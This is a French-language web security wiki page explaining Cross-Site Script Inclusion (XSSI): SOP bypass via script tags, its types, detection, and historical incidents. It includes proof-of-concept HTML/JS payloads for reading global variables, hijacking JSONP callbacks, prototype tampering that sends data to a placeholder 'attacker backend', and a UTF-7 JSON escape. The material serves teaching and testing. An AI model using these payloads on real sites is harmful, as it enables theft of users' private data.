XSSI (Cross-Site Script Inclusion)

Informations de base

Cross-Site Script Inclusion (XSSI) est une vulnérabilité qui découle de la nature de la balise script en HTML. Contrairement à la plupart des ressources, qui sont soumises à la Same-Origin Policy (SOP), les scripts peuvent être inclus depuis différents domaines. Ce comportement est destiné à faciliter l'utilisation de bibliothèques et d'autres ressources hébergées sur différents serveurs, mais introduit également un risque potentiel pour la sécurité.

Caractéristiques clés de XSSI :

Contournement de la SOP : Les scripts sont exemptés de la Same-Origin Policy, leur permettant d'être inclus à travers les domaines.
Exposition des données : Un attaquant peut exploiter ce comportement pour lire des données chargées via la balise script.
Impact sur JavaScript dynamique/JSONP : XSSI est particulièrement pertinent pour JavaScript dynamique ou JSON avec Padding (JSONP). Ces technologies utilisent souvent des informations "d'autorité ambiante" (comme les cookies) pour l'authentification. Lorsqu'une requête de script est faite à un hôte différent, ces informations d'identification (par exemple, les cookies) sont automatiquement incluses dans la requête.
Fuite de jetons d'authentification : Si un attaquant parvient à tromper le navigateur d'un utilisateur pour qu'il demande un script depuis un serveur qu'il contrôle, il pourrait être en mesure d'accéder à des informations sensibles contenues dans ces requêtes.

Types

JavaScript statique - Cela représente la forme conventionnelle de XSSI.
JavaScript statique avec authentification - Ce type est distinct car il nécessite une authentification pour y accéder.
JavaScript dynamique - Implique du JavaScript qui génère dynamiquement du contenu.
Non-JavaScript - Fait référence aux vulnérabilités qui n'impliquent pas directement JavaScript.

Les informations suivantes sont un résumé de https://www.scip.ch/en/?labs.20160414. Consultez-le pour plus de détails.

XSSI régulier

Dans cette approche, des informations privées sont intégrées dans un fichier JavaScript accessible globalement. Les attaquants peuvent identifier ces fichiers en utilisant des méthodes telles que la lecture de fichiers, des recherches par mots-clés ou des expressions régulières. Une fois localisé, le script contenant des informations privées peut être inclus dans un contenu malveillant, permettant un accès non autorisé à des données sensibles. Une technique d'exploitation d'exemple est montrée ci-dessous :

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamic-JavaScript-based-XSSI et Authenticated-JavaScript-XSSI

Ces types d'attaques XSSI impliquent que des informations confidentielles soient ajoutées dynamiquement au script en réponse à une demande de l'utilisateur. La détection peut être effectuée en envoyant des requêtes avec et sans cookies et en comparant les réponses. Si les informations diffèrent, cela peut indiquer la présence d'informations confidentielles. Ce processus peut être automatisé en utilisant des outils comme l'extension Burp DetectDynamicJS.

Si des données confidentielles sont stockées dans une variable globale, elles peuvent être exploitées en utilisant des méthodes similaires à celles utilisées dans le XSSI régulier. Cependant, si les données confidentielles sont incluses dans une réponse JSONP, les attaquants peuvent détourner la fonction de rappel pour récupérer les informations. Cela peut être fait en manipulant des objets globaux ou en configurant une fonction à exécuter par la réponse JSONP, comme démontré ci-dessous :

<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Pour les variables ne résidant pas dans l'espace de noms global, le prototype tampering peut parfois être exploité. Cette technique tire parti de la conception de JavaScript, où l'interprétation du code implique de parcourir la chaîne de prototypes pour localiser la propriété appelée. En remplaçant certaines fonctions, comme Array's slice, les attaquants peuvent accéder et leak des variables non globales :

Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Des détails supplémentaires sur les vecteurs d'attaque peuvent être trouvés dans le travail du chercheur en sécurité Sebastian Lekies, qui maintient une liste de vecteurs.

Non-Script-XSSI

La recherche de Takeshi Terada introduit une autre forme de XSSI, où des fichiers Non-Script, tels que CSV, sont divulgués entre origines en étant inclus comme sources dans une balise script. Des instances historiques de XSSI, telles que l'attaque de Jeremiah Grossman en 2006 pour lire un carnet d'adresses Google complet et la fuite de données JSON de Joe Walker en 2007, soulignent la gravité de ces menaces. De plus, Gareth Heyes décrit une variante d'attaque impliquant du JSON encodé en UTF-7 pour échapper au format JSON et exécuter des scripts, efficace dans certains navigateurs :

;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]

<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>

6.1 KiB Raw Blame History